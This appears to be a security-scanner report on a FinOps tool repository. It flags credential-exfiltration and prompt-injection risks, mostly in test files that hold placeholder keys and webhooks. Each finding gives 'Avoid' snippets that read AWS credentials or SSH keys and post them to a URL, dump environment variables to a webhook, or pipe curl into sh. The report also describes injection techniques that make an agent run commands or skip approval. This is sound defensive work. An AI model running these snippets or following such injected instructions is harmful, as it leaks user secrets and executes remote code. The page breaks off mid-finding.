CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_onboarding_fixes.py
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (assert vault.data["AWS_ACCESS_KEY_ID"] == "AKIAA…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_onboarding_fixes.py· python
155W.setup_aws()
156out = capsys.readouterr().out
157assert vault.data["AWS_ACCESS_KEY_ID"] == "AKIAABCDEFGHIJKLMNOP"
158assert "cloudformation:DescribeStacks" in out
159 
Occurrences
1 occurrence · at L157
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_one_click_iam.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (return boto3.client(service, region_name="us-eas…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_one_click_iam.py· python
168def _stubbed(service: str):
169import boto3
170return boto3.client(service, region_name="us-east-1", aws_access_key_id="testing",
171aws_secret_access_key="testing") # pragma: allowlist secret
172 
Occurrences
2 occurrences · first at L170, also L171
Show all 2 locations
Line
File
L170
tests/test_one_click_iam.py
L171
tests/test_one_click_iam.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_packs_broker.py×9
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (monkeypatch.setenv("AWS_SECRET_ACCESS_KEY", "aws…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_packs_broker.py· python
232monkeypatch.setenv("FINOPS_LICENSE_KEY", "finops-secret")
233monkeypatch.setenv("NABLE_PACK_KEY_PASSPHRASE", "nable-secret")
234monkeypatch.setenv("AWS_SECRET_ACCESS_KEY", "aws-secret")
235monkeypatch.setenv("AWS_ACCESS_KEY_ID", "AKIAEXAMPLE")
236monkeypatch.setenv("UNDECLARED_TOKEN", "undeclared")
Occurrences
9 occurrences · first at L234, also L235, L275 +6 more
Show all 9 locations
Line
File
L234
tests/test_packs_broker.py
L235
tests/test_packs_broker.py
L275
tests/test_packs_broker.py
L275
tests/test_packs_broker.py
L275
tests/test_packs_broker.py
L287
tests/test_packs_broker.py
L289
tests/test_packs_broker.py
L294
tests/test_packs_broker.py
L327
tests/test_packs_broker.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256f45f1bce16d0761e…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_recommendation_critique.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_secret_access_key="SHOULD-NEVER-APPEAR", # …). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_recommendation_critique.py· python
243# whose whole purpose is proving that exact leak cannot happen.
244body = C._prompt_payload(_rec(
245aws_secret_access_key="SHOULD-NEVER-APPEAR", # pragma: allowlist secret
246api_key="SHOULD-NEVER-APPEAR", # pragma: allowlist secret
247# metadata rides to the model as the one open-ended field, so a secret
Occurrences
2 occurrences · first at L245, also L263
Show all 2 locations
Line
File
L245
tests/test_recommendation_critique.py
L263
tests/test_recommendation_critique.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256be2351089858bb9f…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_scan_failure_guidance.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it ("[work]\naws_access_key_id = AKIAIOSFODNN7EXAMPL…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_scan_failure_guidance.py· python
107# AWS's own published example key pair (docs.aws.amazon.com), not a credential.
108(aws / "credentials").write_text(
109"[work]\naws_access_key_id = AKIAIOSFODNN7EXAMPLE\n" # pragma: allowlist secret
110"aws_secret_access_key = wJalrXUtnFEMIbK7MDENGbPxRfiCYEXAMPLEKEY\n" # pragma: allowlist sec
… (3 chars elided on L110)
111)
Occurrences
2 occurrences · first at L109, also L110
Show all 2 locations
Line
File
L109
tests/test_scan_failure_guidance.py
L110
tests/test_scan_failure_guidance.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_scan_manifest_calls.py×5
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (for k in ("AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCES…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_scan_manifest_calls.py· python
222import boto3
223 
224for k in ("AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "AWS_SESSION_TOKEN",
225"AWS_PROFILE", "AWS_ENDPOINT_URL"):
226monkeypatch.delenv(k, raising=False)
Occurrences
5 occurrences · first at L224, also L224, L224 +2 more
Show all 5 locations
Line
File
L224
tests/test_scan_manifest_calls.py
L224
tests/test_scan_manifest_calls.py
L224
tests/test_scan_manifest_calls.py
L227
tests/test_scan_manifest_calls.py
L228
tests/test_scan_manifest_calls.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_sso_detection.py×4
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (checks ~/.aws/credentials". These tests pin that…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_sso_detection.py· python
5not Identity-Center SSO profiles, because the STS probe throws for an unlogged
6SSO profile and the exception was swallowed. The user concluded nable "only
7checks ~/.aws/credentials". These tests pin that:
8- SSO profiles in ~/.aws/config are found (both the sso_session and legacy
9sso_start_url formats);
Occurrences
4 occurrences · first at L7, also L8, L51 +1 more
Show all 4 locations
Line
File
L7
tests/test_sso_detection.py
L8
tests/test_sso_detection.py
L51
tests/test_sso_detection.py
L52
tests/test_sso_detection.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha2562ae82cc9d546cbfd…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_tool_surface.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (monkeypatch.setenv("AWS_ACCESS_KEY_ID", "AKIATES…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_tool_surface.py· python
112 
113def test_aws_env_reveals_aws_and_llm(monkeypatch):
114monkeypatch.setenv("AWS_ACCESS_KEY_ID", "AKIATEST")
115tool_surface._reset_cache_for_tests()
116fams = connected_families()
Occurrences
2 occurrences · first at L114, also L223
Show all 2 locations
Line
File
L114
tests/test_tool_surface.py
L223
tests/test_tool_surface.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_tool_tiers.py×7
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it ("AWS_ACCESS_KEY_ID", "AWS_PROFILE", "AZURE_CLIEN…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_tool_tiers.py· python
28def _clean_surface(monkeypatch):
29for k in list(globals().get("_ENVS", ())) + [
30"AWS_ACCESS_KEY_ID", "AWS_PROFILE", "AZURE_CLIENT_ID", "DATABRICKS_HOST",
31"GOOGLE_APPLICATION_CREDENTIALS", "OPENAI_API_KEY", "SLACK_BOT_TOKEN",
32"FINOPS_ALL_TOOLS", "FINOPS_FLAT_TOOLS", "KUBECONFIG",
Occurrences
7 occurrences · first at L30, also L99, L111 +4 more
Show all 7 locations
Line
File
L30
tests/test_tool_tiers.py
L99
tests/test_tool_tiers.py
L111
tests/test_tool_tiers.py
L112
tests/test_tool_tiers.py
L144
tests/test_tool_tiers.py
L156
tests/test_tool_tiers.py
L240
tests/test_tool_tiers.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_vault_rotate.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (Vault.default().store("AWS_SECRET_ACCESS_KEY", "…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_vault_rotate.py· python
64tmp_path, _ = isolated_vault
65 
66Vault.default().store("AWS_SECRET_ACCESS_KEY", "s3cret-value")
67 
68_rotate(monkeypatch)
Occurrences
2 occurrences · first at L66, also L71
Show all 2 locations
Line
File
L66
tests/test_vault_rotate.py
L71
tests/test_vault_rotate.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256f45f1bce16d0761e…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_waste_inventory_scope.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (s3 = boto3.client("s3", region_name="us-east-1",…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_waste_inventory_scope.py· python
78from botocore.stub import Stubber
79 
80s3 = boto3.client("s3", region_name="us-east-1", aws_access_key_id="x",
81aws_secret_access_key="x")
82stale = datetime.now(timezone.utc) - timedelta(days=30)
Occurrences
2 occurrences · first at L80, also L81
Show all 2 locations
Line
File
L80
tests/test_waste_inventory_scope.py
L81
tests/test_waste_inventory_scope.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_welcome_activation.py×5
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (~/.aws/credentials. It failed the moment those w…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_welcome_activation.py· python
145AWSConnector.is_configured, and once the probe moved this test kept passing
146only on machines that happen to have real AWS credentials in
147~/.aws/credentials. It failed the moment those were hidden, which means it
148had stopped testing anything.
149"""
Occurrences
5 occurrences · first at L147, also L308, L311 +2 more
Show all 5 locations
Line
File
L147
tests/test_welcome_activation.py
L308
tests/test_welcome_activation.py
L311
tests/test_welcome_activation.py
L311
tests/test_welcome_activation.py
L316
tests/test_welcome_activation.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha2562ae82cc9d546cbfd…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_why_wiring.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (kw = {"region_name": "us-east-1", "aws_access_ke…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_why_wiring.py· python
253 
254def _clients():
255kw = {"region_name": "us-east-1", "aws_access_key_id": "testing",
256"aws_secret_access_key": "testing"} # pragma: allowlist secret
257return boto3.client("ce", **kw), boto3.client("cloudtrail", **kw)
Occurrences
2 occurrences · first at L255, also L256
Show all 2 locations
Line
File
L255
tests/test_why_wiring.py
L256
tests/test_why_wiring.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · src/finops/packs/broker.py
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (# ~/.ssh/id_rsa or ../../anything, and never a s…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerptsrc/finops/packs/broker.py· python
651# manifest declares in repo_files (names, repo-relative paths, simple
652# globs), never an absolute path or a .., so a pack cannot ask for
653# ~/.ssh/id_rsa or ../../anything, and never a sensitive file
654# (capabilities.SENSITIVE_FILES: state, keys, .env, credentials), declared or
655# not. The walk never follows a symlink and skips vendored and generated
Occurrences
1 occurrence · at L653
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha256c84a706284235e56…rubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · tests/test_cloud_connect.py
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (secret.write_text("-----BEGIN OPENSSH PRIVATE KE…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerpttests/test_cloud_connect.py· python
202def test_an_org_file_that_is_a_symlink_too_large_or_not_text_is_left_out(org_dir, tmp_path):
203secret = tmp_path / "id_rsa"
204secret.write_text("-----BEGIN OPENSSH PRIVATE KEY-----\n") # pragma: allowlist secret
205(org_dir / "accounts.yaml").symlink_to(secret)
206(org_dir / "policy.yaml").write_bytes(b"x" * (cc.ORG_FILE_MAX + 1))
Occurrences
1 occurrence · at L204
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha2566031e2b8d72640dc…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · tests/test_airgap_senders.py
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (monkeypatch.setenv("SLACK_WEBHOOK_URL", "https:/…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerpttests/test_airgap_senders.py· python
22def airgapped(monkeypatch):
23monkeypatch.setattr(config, "AIRGAP", True)
24monkeypatch.setenv("SLACK_WEBHOOK_URL", "https://hooks.slack.com/services/T0/B0/x") # pragm
… (19 chars elided on L24)
25monkeypatch.setenv("SLACK_BOT_TOKEN", "xoxb-not-a-real-token")
26monkeypatch.setenv("TEAMS_WEBHOOK_URL", "https://example.webhook.office.com/x")
Occurrences
1 occurrence · at L24
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha25621f4e6fb23858287…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · tests/test_no_push_promised.py×4
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (asked = _answers(monkeypatch, ["1", "https://hoo…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerpttests/test_no_push_promised.py· python
126posted: list = []
127monkeypatch.setattr(httpx, "post", lambda url, **kw: posted.append(url) or _Resp())
128asked = _answers(monkeypatch, ["1", "https://hooks.slack.com/services/T/B/x", "n"])
129W.setup_slack()
130out = capsys.readouterr().out
Occurrences
4 occurrences · first at L128, also L143, L146 +1 more
Show all 4 locations
Line
File
L128
tests/test_no_push_promised.py
L143
tests/test_no_push_promised.py
L146
tests/test_no_push_promised.py
L153
tests/test_no_push_promised.py
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha2561bcbb9fbd8d80871…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · tests/test_reports_say_what_was_read.py×3
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (monkeypatch.setenv("SLACK_WEBHOOK_URL", "https:/…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerpttests/test_reports_say_what_was_read.py· python
113 
114def test_several_channels_on_one_webhook_post_once(db, monkeypatch):
115monkeypatch.setenv("SLACK_WEBHOOK_URL", "https://hooks.slack.com/services/T/B/x")
116from finops.notifications import slack
117posts: list = []
Occurrences
3 occurrences · first at L115, also L147, L178
Show all 3 locations
Line
File
L115
tests/test_reports_say_what_was_read.py
L147
tests/test_reports_say_what_was_read.py
L178
tests/test_reports_say_what_was_read.py
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256e4e37ffe41c6bb93…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · README.md×2
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptREADME.md· markdown
17```bash
18uvx nable guard install # Claude Code, this project. --all: every agent found. --global
… (16 chars elided on L18)
19uvx nable guard try # see it first: four sample commands through the gate, nothing
… (8 chars elided on L19)
20```
21 
22What the agent gets back when it tries a costly launch or a destroy (real output, no cloud a
… (15 chars elided on L22)
23 
24```text
25$ uvx nable guard check --command "aws ec2 run-instances --instance-type p4d.24xlarge --coun
… (4 chars elided on L25)
Occurrences
2 occurrences · first at L17, also L120
Show all 2 locations
Line
File
L17
README.md
L120
README.md
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha2569067ae45b8189dc2…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · docs/HEADLESS.md×2
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptdocs/HEADLESS.md· markdown
217| `NABLE_NO_TELEMETRY` | Any value but 0, false, no: telemetry off whatever else is set; als
… (31 chars elided on L217)
218| `NABLE_POSTHOG_KEY` | The telemetry project key, used only once telemetry is opted in. |
219| `NABLE_NO_UPDATE_CHECK` | 1: do not ask PyPI whether a newer release exists. |
220| `FINOPS_NO_UPDATE_CHECK` | The same as NABLE_NO_UPDATE_CHECK. |
221| `NABLE_BENCHMARKING_ENABLED` | true: share anonymised benchmark figures. Off by default. |
Occurrences
2 occurrences · first at L219, also L240
Show all 2 locations
Line
File
L219
docs/HEADLESS.md
L240
docs/HEADLESS.md
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha25612211d7a427c799a…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · packs/org-bootstrap/README.md
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

